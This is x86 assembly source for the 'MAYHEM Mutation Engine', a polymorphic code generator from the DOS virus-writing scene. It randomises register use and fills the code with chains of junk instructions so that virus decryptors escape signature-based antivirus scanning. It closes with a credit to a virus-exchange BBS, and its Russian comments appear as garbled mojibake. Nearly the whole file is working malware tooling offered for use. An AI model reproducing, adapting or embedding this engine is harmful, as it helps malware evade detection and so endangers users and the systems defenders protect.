 
 室 MAYHEM Mutation Engine.
 
; START: ; 砫 

;------ ⠭  MAYHEM ------------------------------------------------

        RECSIZE     equ  8      ; C   
        ADDRESS     equ  0
        PLACE       equ  2
        DISTANCE    equ  3
        REALPLACE   equ  4
        R_GROUP     equ  5
        OPERAND     equ  6

        R_AX    equ  0          ;   浪
        R_CX    equ  1
        R_DX    equ  2
        R_BX    equ  3
        R_SP    equ  4
        R_BP    equ  5
        R_SI    equ  6
        R_DI    equ  7


 HOLLOW DB 16-((HOLLOW-START) MOD 16) DUP(90h)    ; ࠢ  ࠣ
; --------------------------------- ;   ; ------------------------
                                                  ; CS=DS, ES:DI=Destination
                                                  ; IP=0.
 MAYHEM:
        PUSH DI                                   ;  祭
        MOV BYTE PTR DS:[R_USED-MAYHEM],00010000B ; ᪫砥 SP
       ;-----------------------------------------   室 ॣ  㯯
        MOV SI,R_MASK-MAYHEM                      ;  ᮪  㯯
        MOV DI,R_GRP -MAYHEM                      ; 

    C1: CMP BYTE PTR [SI],00                      ;  ᮪ ?
        JZ  ENDFORM
                                                  ;  ॣ
        MOV  DL,7                                 ; RND(0..7)
        CALL RND

        MOV CL,DL                                 ; ।⠢   
        MOV AL,1
        SHL AL,CL

   TSTUSED:
        TEST BYTE PTR DS:[R_USED-MAYHEM],AL       ;   㣨 ?
        JZ SUITTST
    TSTROL:                                       ;  RND 㦭  
        INC DL                                    ;  . ६ ᫥-
        ROL AL,1                                  ; 騩   ॣ ...
        CMP DL,8
        JB TSTUSED
        XOR DL,DL                                 ; 諨    - ᭠砫
        JMP TSTUSED                               ; ࠧ㬥,  
                                                  ; ᢮ -⠪ 㤥
    SUITTST:
        TEST BYTE PTR [SI],AL                     ;   .   
        JZ   TSTROL                               ; 㦥 ⠪ ?

        MOV DS:[DI],DL                            ; 諨 ॣ  㯯
        OR  DS:[R_USED-MAYHEM],AL                 ; 砥  
        INC DI
        INC SI
        JMP C1                                    ;  ᫥饩 㯯...
    ENDFORM:

       ;------------------------------------   command' - ᢮ ()
        MOV SI,MUTAB-MAYHEM                 ;  ,   MAYHEM
                                            ; ᪠㥬   
   C2:  MOV  DL,[SI][DISTANCE]              ;  "ࠧ  樨"
        CALL RND                            ;  ⮨  RND(0..Dist)
        ADD  DL,[SI][PLACE]                 ; ... ᢮ 
        MOV  [SI][REALPLACE],DL             ;  .  ନ㥬 
        ADD  SI,RECSIZE                     ; ᫥ 
        CMP  WORD PTR [SI],0000             ;  ᥩ ?
        JNZ  C2

       ;--------------------------------  ਣ⮢ 祭. 
                                        ; ᮡ६   ⮣ 筥 mayhem!

        POP DI                          ;   ES:DI = ⮍祭
        MOV AL,-1                       ; 稪 権

NXTNMB: INC AL                              ;  
        CMP AL,(ENDMUTAB-MUTAB)/RECSIZE-1   ;  樨 ࠧ饭 ?
        JA  EXITALLOC
                                        ; 㥬   ।  
        MOV SI,MUTAB-RECSIZE-MAYHEM     ; 樥 REALPLACE=AL
    NXTELEM:
        ADD SI,RECSIZE                  ; ᫥. 
        CMP WORD PTR [SI],0000
        JE  NXTNMB                      ;  ?

        CMP [SI][REALPLACE],AL          ; ᮢ 樨 ?
        JNE NXTELEM
                                        ;   + 
        PUSH AX
        CALL DS:[SI]                    ;  楤   
        CALL TRASHCHAIN                 ; 㥬 楯 
        POP  AX
        JMP NXTELEM
EXITALLOC:
        JMP MAYHEM_OFF
;----------------------------------------------------------------------------
;---------------------------------------  㦥 楤 MAYHEM  -------

    RND PROC                    ; DL= RND (0..DL)   砩 
                                ;  DH  室.
        PUSH AX CX BX

        OR DL,DL                ; RND(0..0)=0
        JZ EXRND

        INC DL                  ;  0FFh   +1
        JNZ OKK
        DEC DL
     OKK:
        MOV AX,0100H            ; ࠧ 筮 १
        DIV DL
        NOT AH

        XCHG AL,DL
        IN   AL,40H
        CMP  AL,AH              ; ᫨ RND , 祬 *࠭,
        JBE  OKK1               ;  १  EO*࠭
        MOV  AL,AH
        OKK1:

        XOR AH,AH               ;  祭 RND-  .१
        DIV DL
        MOV DL,AL
        XOR DH,DH

        EXRND:
        POP BX CX AX
        RETN
    RND ENDP

;---------------------------------------------------------------------------
   TRASH PROC   ;   楯窥 砩 
                ;  R_USED ।  ॣ
                ; ES:DI= 祭

        PUSH AX SI
                                        ; 稬    ⠡ -
                                        ; 砩   T_CHAIN
        MOV  SI,T_CHAIN-MAYHEM
        MOV  DL,(END_T_CHAIN-T_CHAIN)/2-1       ; RND   T_CHAIN
        CALL RND
        SHL  DL,1                       ; *2_
        ADD  SI,DX                      ; [SI]      ⠡
        MOV  SI,[SI]                    ;  

                                  ; ६ 砩   ࠭
                                  ; ⠡.   :
                                  ; -  (CMDNUMB), ࠧ 
                                  ;  ⠡(CMDSIZE)  CMDSTAT - 
        MOV DL,[si][CMDNUMB]
        call RND
        mov al,[si][CMDSIZE]
        mul dl
        mov cl,[si][CMDSTAT]
        add si,ax                       ; SI=   
                                        ; CL=  
        add si,3                        ; SI=SI+3 ( ⠡)

                                ;  ந 砩   ᭮-
                                ;     ⮩ ⠡

        test cl,CMD             ;  稭  ﭭ  ?
        jz   end_cmd
        CLD                     ; 塞  楯   DS:[SI]
        MOVSB
        end_cmd:

        test cl,CMDPLUS         ;   +  ॣ ?
        jz  end_cmdplus

        mov dl,7
        call RND                ; 砥  ॣ  ஢塞  
        test cl,REGCHNG         ; ...
        jz end_suitreg

        push cx
        mov  cl,dl
        mov  al,1
        shl  al,cl

   cont_tst:
        test ds:[offset R_USED-MAYHEM],AL
        jz pop_end_suitreg

        inc dl
        rol al,1
        cmp dl,8
        jb  cont_tst
        xor dl,dl
        jmp cont_tst

     pop_end_suitreg:
        pop cx
        end_suitreg:

        TEST CL,PLUS8           ; 㦭   ॣ   8 ?
        JZ ADD1
      ADD8:
        PUSH AX
        MOV AL,8
        MUL DL
        MOV DL,AL
        POP AX
      ADD1:
        add dl,[si]
        mov es:[di],dl
        inc di
        end_cmdplus:

        test cl,RNDNUMB         ; 㦭   砩 ᫮ ?
        jz end_addrnd
        mov dl,0FFh
        call RND
        mov al,dl
        mov dl,0FFh
        call RND
        mov dh,al
        mov es:[di],dx
        inc di
        inc di
        end_addrnd:
        pop si ax
        retn

       ;-------------------------------------------------------------------
        t_chain       dw offset TAB0-MAYHEM     ;  ⠡ RND 
                      dw offset TAB1-MAYHEM
                      dw offset TAB2-MAYHEM
                      dw offset TAB3-MAYHEM
                      dw offset TAB4-MAYHEM
                      dw offset TAB5-MAYHEM
        end_t_chain   dw 0000

       ;-------------------------------------------------------------------
       ;⠭:
        CMDHDR  equ 3           ;   ⠡
                                ; 饭  ⠡
        CMDNUMB equ 0           ;       ⢮ 
        CMDSIZE equ 1           ;          ⠡
        CMDSTAT equ 2           ;        

                                        ; ଠ  :
        CMD     equ 00000001b           ; CONST_BYTE
        CMDPLUS equ 00000010b           ; CONST_BYTE + REG_NO
        PLUS8   EQU 00000100B           ; CONST_BYTE + REG_NO*8
        RNDNUMB equ 00001000b           ; + RND_WORD
        REGCHNG equ 10000000b           ;  祭 ॣ஢
        PFXSEG  equ 01000000b           ;   䨪 ᥣ

                        ;----------------   ----------------

        tab0    db (endtab0-cmds0)/01-1         ; ⢮ 
                db 01                           ; ࠧ  ⠡
                db CMD                          ;  
        cmds0:                                  ; ᠬ 
                cld
                sti
                nop
        endtab0:
        ;-------------------------------------------------
        tab1    db (endtab1-cmds1)/01-1
                db 01
                db CMDPLUS+REGCHNG+PFXSEG
        cmds1:
                inc ax
                dec ax
        endtab1:
        ;-------------------------------------------------
        tab2    db (ENDTAB2-cmds2)/2-1
                db 02
                db CMD+CMDPLUS+REGCHNG+PFXSEG
        cmds2:
                neg ax
                not ax
                rol ax,1
                ror ax,1
                rcr ax,1
                rcl ax,1
                shl ax,1
                shr ax,1
        endtab2:
        ;-------------------------------------------------

        tab3    db (ENDTAB3-cmds3)/1-1
                db 1
                db CMDPLUS+RNDNUMB+REGCHNG+PFXSEG
        cmds3:
                db 0B8h         ; mov ax
        endtab3:
        ;-------------------------------------------------

        tab4    db (ENDTAB4-cmds4)/2-1
                db 2
                db CMD+CMDPLUS+RNDNUMB+PFXSEG+REGCHNG
        cmds4:
                db 81h,0F0h     ; xor reg,imm
                db 81h,0E8h     ; sub reg,imm
                db 81h,0c0h     ; add reg,imm
                db 81h,0e0h     ; and reg,imm
                db 81h,0c8h     ; or  reg,imm
                db 81h,0d0h     ; adc reg,imm
                db 81h,0d8h     ; sbb reg,imm
        endtab4:
        ;-------------------------------------------------

        TAB5    DB (ENDTAB5-CMDS5)/2-1
                DB 2
                DB CMD+CMDPLUS+PLUS8+RNDNUMB+PFXSEG+REGCHNG
        CMDS5:
                DB 8BH,06H      ; MOV REG,MEM
                DB 03H,06H      ; ADD REG,MEM
        ENDTAB5:
        ;-------------------------------------------------

   ;    PFXTAB  DB 26h,2eh,36h,3eh              ; 䨪 ᥣ⮢

        TRASH ENDP
   ;-----------------------------------------------------------------------
    TRASHCHAIN PROC             ;    楯 砩 
        PUSH CX DX
        MOV  DL,08
        CALL RND
        XOR  DH,DH
        INC  DL
        MOV  CX,DX
mm1:    PUSH CX
        CALL ARTRASH            ;  楤 樨 
        CALL TRASH              ; 㣠 楤 樨 
        POP CX
        LOOP MM1
        POP DX CX
        RETN
    TRASHCHAIN ENDP

;--- 楤 樨 䬥᪮   ⮢묨 ॣࠬ
;    :  MOV ADD ADC SUB SBB XOR TEST
;     :      CONST+
;               (REG*8+RND(0..7))*(RND(0..3)*40h) +
;               [RNDbyte/RNDword/nothing]
;    ᨬ  2 :    06+RND(0..7)*8  :  +WORD
;                                 00..3F  㣨  :  祣
;                                 40..7F          :  +BYTE
;                                 80..BF          :  +WORD
;                                 C0..FF          :  祣
;     ᬮ  ᠬ  HIEW etc.

ARTRASH PROC

        PUSH AX CX DX SI

        MOV CL,DS:[R_USED-MAYHEM]      ;    AX,CX,DX,BX ,-EXIT.
        AND CL,0FH
        CMP CL,0FH
        JE  NO_ADD

        MOV  SI,CMDS-MAYHEM            ;   
        MOV  DL,CMDSEND-CMDS-1         ; 砩   ।
        CALL RND
        XOR  DH,DH
        ADD  SI,DX
        CLD                            ; ᨬ   楯
        LODSB
        STOSB

        CALL GETFREEREG                ; 砥 ᢮ ॣ

        MOV  AL,8
        MUL  DL                        ; REG*8

        MOV  DL,7                      ; + RND(0..7)
        CALL RND
        ADD  AL,DL

        PUSH AX                        ; + RND(0..3)*40H
        MOV  DL,3
        CALL RND
        MOV  AL,40H
        MUL  DL
        POP  DX
        ADD  AL,DL

        STOSB                           ; ன  Done.
                                        ; 㦭  RND    ?
        CMP  AL,06
        JE   ADD_W
        CMP  AL,0EH
        JE ADD_W
        CMP  AL,16H
        JE ADD_W
        CMP AL,1EH
        JE ADD_W
        CMP AL,26H
        JE ADD_W
        CMP AL,2EH
        JE ADD_W
        CMP AL,36H
        JE ADD_W
        CMP AL,3EH
        JE ADD_W
        CMP  AL,40H
        JB NO_ADD

        CMP  AL,80H
        JB   ADD_B
        CMP  AL,0C0H
        JAE  NO_ADD
    ADD_W:                              ;  砩 ᫮
        MOV DL,0FFH
        CALL RND
        MOV AL,DL
        STOSB
    ADD_B:                              ;  砩 
        MOV DL,0FFH
        CALL RND
        MOV AL,DL
        STOSB
    NO_ADD:                             ; 祣  
        POP SI DX CX AX
        RETN
;--------------------------------------
CMDS    DB 8AH,32H,02H,1AH,12H,2AH,84H          ; 
;          MOV XOR ADD SBB ADC SUB TEST
CMDSEND:
ARTRASH ENDP
;-----------------------------------------------------------------------
GETFREEREG PROC                      ; 頥  ᢮ ⭮
                                     ; ॣ :  AL= , DL=
        MOV  DL,7
        CALL RND
        MOV  AL,1                    ;   
        MOV  CL,DL
        SHL  AL,CL
                                     ;                         BhChBlCl
                                     ;                     | | | |
        MOV  DH,DS:[R_USED-MAYHEM]   ;   ॣ஢:  76543210
                                     ;                          | | | |
                                     ;                          DhAhDlAl
        MOV  CH,DH                   ; 㥬  0..3  4..7
        AND  CH,0FH
        MOV  CL,4
        SHL  DH,CL
        ADD  CH,DH

  CONTTST:

        TEST AL,CH                    ; 室 ?
        JZ   GFR_DONE

        INC DL                        ;  - ᤢ  饬 
        ROL AL,1
        CMP DL,8
        JB CONTTST
        XOR DL,DL
        JMP CONTTST
   GFR_DONE:
        RETN
GETFREEREG ENDP
;-----------------------------------------------------------------------
;------------------- 楤 ன  -----------------------

                                ; SI   砫  㪠뢠  砫
                                ;      
;    .... ..... ......

;------------------------------  騥 楤 ன   --------

    getreg proc                         ; 室  頥  ॣ
                                        ;  㯯    
        xor  bh,bh
        mov  bl,[si][R_GROUP]
        mov  al,[bx][R_GRP-MAYHEM]      ; १
        retn
    getreg endp

    pusher proc                         ;   PUSH
        call GETREG
        add  al,50h
        stosb
        retn
    pusher endp

    MOV_NUMBER PROC             ; ନ   MOV Reg,Immed
                                ; Reg ᮣ᭮ 㯯, Immed   Operand
        call GETREG             ;  ॣ   㯯
        add  al,0B8h            ; "MOV"
        stosb
        mov  ax,[si][OPERAND]
        stosw
        retn
        MOV_NUMBER ENDP

; -------------------  MUTABLE :   MAYHEM  -----------------------

        ; ------------ ࠧ ஢騪 ---------------
        ; N  ࠭   
        ; -  ----      -----------------------------



MUTAB:
        DW  ?                           ;  楤 ன
        DB  00,07                       ; 砫쭠, 筠 
        DB  ?                           ;  㤥 ᥭ ॠ쭮
                                        ; ⮯
        DB  ?                           ; 㯯 ॣ஢
        DW  ?                           ; ࠭

        ENDMUTAB DW 0000                ;    MAYHEM

        R_USED db 00010000b             ;  ᯮ짮 ॣ஢

        R_MASK db 11101111b             ;  ॣ
               db 11001000b             ;  ॣ
               db 0

        R_GRP  db 8 dup(0)              ; १ ९ ॣ஢ 
                                        ;  㯯
        ;------------ 㣨 ६ ----------------------------------



        ;-----------------------------------------------------------------
MAYHEM_OFF:                             ;  ...
        RETF
;----------------------------------------------------------------------------

; 
;  Remember Where You Saw This Phile First 
; [=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]
; 
